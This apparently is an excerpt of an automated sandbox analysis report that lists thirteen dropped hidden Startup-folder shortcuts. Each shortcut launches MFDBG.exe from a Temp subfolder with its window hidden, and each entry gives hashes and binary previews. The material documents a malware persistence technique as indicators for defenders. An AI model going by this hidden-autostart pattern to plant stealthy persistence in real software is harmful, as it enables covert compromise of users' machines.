C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0dbe8d31b1f64e87bcac58c788856af8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929727068837653
Encrypted:	false
SSDEEP:	24:8VBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	11E316439D3140F89821C9F4281F9E43
SHA1:	4EAA9AD99AAB95DE32942F81C06D379FD7E443DF
SHA-256:	6137D94F7DE2C8727A1431E637A7CCDDBB32A8CEA52E49ABEBD46CD3010EB720
SHA-512:	1C293321CADF44FC296476C1A117A2C9A2499EEEC54B6320AD27277E6938BF59B1621A884F66D9E19AD91DBF18287631B3B9BC01A1D1448119984EC20613393E
Malicious:	false
Preview:	L..................F....".......d....#.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0de92f1dfdea40e0b5980f80b7ca0856.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8EBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8qQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	2811BC3B3894A5511FC58D01DB76D406
SHA1:	B2639B38C1E555417D27984AE308C8E2A0CC34C6
SHA-256:	161B06D0125FDD807F2F7C9B4D7BCDFA1E0CDC5F29E8689C9DBEEBA2C802D948
SHA-512:	FADEEBE61070A0E406A3B465A1DB23C18305DD55EDBCE7C2A36C95934143C23EE575ABCE150A39268A7B02C63980FB82E43C56E0A6CCA60CC56C5F55C68B65EE
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0df31e6159844471917aa5b468c1a0d4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922805953791028
Encrypted:	false
SSDEEP:	24:88BfWQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8yeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	ACEC795B7A1B2A9BFC3145E0F11D50AC
SHA1:	420E9CF8CF8B0120861A03CFBA2C473756FE3716
SHA-256:	D8D6F41F990FB5B2D9027269E9B07E8ACA4531528BB6A566B5F6561494B56E7F
SHA-512:	CAEB3D171733AFB5533794EE50C88A5138FA8A8BB09701F68A837A77AC98B361253A86F6586F68FFCE46BAEFD1D7679ADA28E29749471E71A0853920B3BE0074
Malicious:	false
Preview:	L..................F....".......d......(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Zi.(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f2fbab088b34e2e946694c2bdad81f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926367123878952
Encrypted:	false
SSDEEP:	24:8bBfC8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NnEvZ0yRO7DLO2zdxdRd1kyg
MD5:	BCEC9E77877AE3508B88BE03482013C9
SHA1:	B2DA2CA6306551D0C8EC34CA74F3BD85A6F24B0A
SHA-256:	08AAF726DA8A6C48502658033D0563859E62CC87EC734E72C210A2007495306D
SHA-512:	DBD62947C381F74DC2EA839DBFF386165DB9FF490807B6011CE747095121BE3FBAC41992D6AA03E0A17C8E81D871FA295DCAAF8271161200F2FA868510727CAF
Malicious:	false
Preview:	L..................F....".......d....!.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f3557b56bb74e6c835515f8b8da6a63.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921976644624323
Encrypted:	false
SSDEEP:	24:81BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:834EvZ0yRO7DLO2zdxdRd1kyg
MD5:	6FABFB4D54617C3889FA6A31156B9CED
SHA1:	3A922EBC3A547AA26B3EC895DAF35290475BC333
SHA-256:	1690A978CB197EF81CEA60DC615B264BB8775DC29BBA2FB16C90369F3A41D7BD
SHA-512:	60185713C6B64DC30A58F8AD980311CB49B4BD7D15DBD9BBF8931BCE29CF1F4946D8F1F73D3E6222EC3CC4D55FB44D76D56DB858F85BEC786A973C4AB38597A4
Malicious:	false
Preview:	L..................F....".......d....U}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....U}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f4f09629b044095b2c2d8514fe27aae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924254897294499
Encrypted:	false
SSDEEP:	24:8dmBfiH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dsTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FA9DA64FF8725BD0D6F47A7BDA88F8DE
SHA1:	3156F1D4A6F3688D8359BAC3D6FEFAE69339132D
SHA-256:	74B78C74D34C8FB4FBED7B127E82E462BE8014014EB55995C2E98780EFBA7DBE
SHA-512:	0935C3D28A0397CACCF09BA883EB77DE95B09BC92DB6AD449824712380CB176B770EBA73A1C9FAADC1BB8A419CECC9C5243213E2BFEA97D1BA2FA6047D5F41A4
Malicious:	false
Preview:	L..................F....".......d.....2)d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...j.")d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f856c5c1ccf40e8a13ae5e3d64a92ae.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:39 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923798385178446
Encrypted:	false
SSDEEP:	24:8RBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	726A5AA051951A8B4419CF8FC3250480
SHA1:	6C5A9D574E3018A097C9D7FA99F2CF977599578C
SHA-256:	8CF1106152B6C601F18E797B11E487499B8901F5D8CE8ED58B85B6850BD21B78
SHA-512:	0B7A2EB3F816DF7C22C79D9CE6F52364229FCB34EB87FAB2446A642666A8F11EED56CA4EC5EE098EF1D4CA7EAC6993F3F4C9ACF459B5A3F7DA9AC9678CE397BB
Malicious:	false
Preview:	L..................F....".......d....w.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f902f5ded5c463eb6252444234c0ff8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923454456081033
Encrypted:	false
SSDEEP:	24:8WBfL8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8cgEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C13E5A3B500FF48F5197055ACEF05A3C
SHA1:	A122914CA595811CAD053C77004C5848A80120CA
SHA-256:	177C4EBE667E598122EB9894C2AE2494B636BFF0008049A451E2CF9A7F55BDA2
SHA-512:	23E494A55CB32F3D86E747F595EBB7A1A3B6A47E54A027A5AC153247364CA4659F2131DFF6A7A6799D1690059986AC17350474413FF56B6B1430AC147CE17248
Malicious:	false
Preview:	L..................F....".......d......\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....`.\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0fb315597ae64c82a9ea286fb2140973.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924622503040698
Encrypted:	false
SSDEEP:	24:8PnBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PBfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7E2B3DF144DAB10E4B006A9A0E9410D5
SHA1:	59D810572E26E97D0A006AA66646CA22B210A772
SHA-256:	7B2888EAF9637E48994AE847A8B1F8398AACC0754EF8B832FA3F277A7DF6ED90
SHA-512:	A20BC6DC30E7859E95BF27307083F2DCCE9C21F896E377DD3C88C2DA026F2F529350DD53FB303C1C7BCA084F81030BBB3C49CFBFFC17725054970EEFBDA41245
Malicious:	false
Preview:	L..................F....".......d...T..]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0fb7008bb14643e3967b8666d7dfdbc3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:09 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9252165706184785
Encrypted:	false
SSDEEP:	24:8YrBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8YdCEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4DF20EAD21AA5106FDD010BCAD88A09E
SHA1:	5352B11A2F7AAE7D9A4109920147083A4DD11774
SHA-256:	F53698DF5F4A8A1B84E4FC5D085EE4602F8BEC3B1F05000CCC67B14CA70E0175
SHA-512:	A8817FEB2DEA76B3083DF1A00FE8DE3956446AFFC90BD8813819CBC4805AEAE937C3580C85C6FFFBD7263563961FE2E74B6DDAA369C122413AA94B184869ACA7
Malicious:	false
Preview:	L..................F....".......d......"d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...*."d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0fcd9c36c6d245cb9a89b597594f583f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927987713374184
Encrypted:	false
SSDEEP:	24:8HBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9ADD2EC1610F36A3E2BE060D11926EF1
SHA1:	5EADE9E31453B1E33B51993DAECAE8A5E8298B8A
SHA-256:	90A0E7029796C2155F0F59AFD73977BF924CE831CFDCB39E3E1EEBEB30D0CD80
SHA-512:	3B5BC749EFF5A5B0C4CBA455D1107127DF286F8254EBF84746888F74FB9B4152B57D12A890B619E2CD85C0424AA6FE8E7B3121F0A2149025D36C15016AB0F31E
Malicious:	false
Preview:	L..................F....".......d......Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ff1f78d298144e6a12594af4c5a587d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254248
Encrypted:	false
SSDEEP:	24:862BfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8684EvZ0yRO7DLO2zdxdRd1kyg
MD5:	BFCF89DA2996365C460A1C45BFDCAADD
SHA1:	82C21CBC92591B8036A37FDE6CF7130C4826210B
SHA-256:	E5C57EBCDDD06E24FF95C093DFEDC9285D4AD93B167900D2DC5DD61AFC867605
SHA-512:	017B7674502A88F84E989D11039E2209FD9E93FACACAC696FC6855DD7822E69AD41056E1F87A4B549DEC801817494E25EFCFB9E593A62B633D24CB4F57751C90
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....n.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_10335b045df1435f8b92f4e3fcb30c9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:02 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920216947675123
Encrypted:	false
SSDEEP:	24:8PBfI48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Zg9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	561B74D8BAF925674020A991B9C9EC4B
SHA1:	AC54E43D1CC9A91EF063B523009DCFD514A00272
SHA-256:	1DA1BB1D18A2F7EFF906259A0EBBCFF22A224F4879D7ABFFA5D3467F26DDF95A
SHA-512:	CA64A876606D36AF5FB07C1E5753F617B2BE33ABEA7F8B8E824F5A914647CA43EAB3BB12043443D2D0D2889E0C8EED7C0500D1D43B7D97B8A019005D158C1A77
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Eb..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

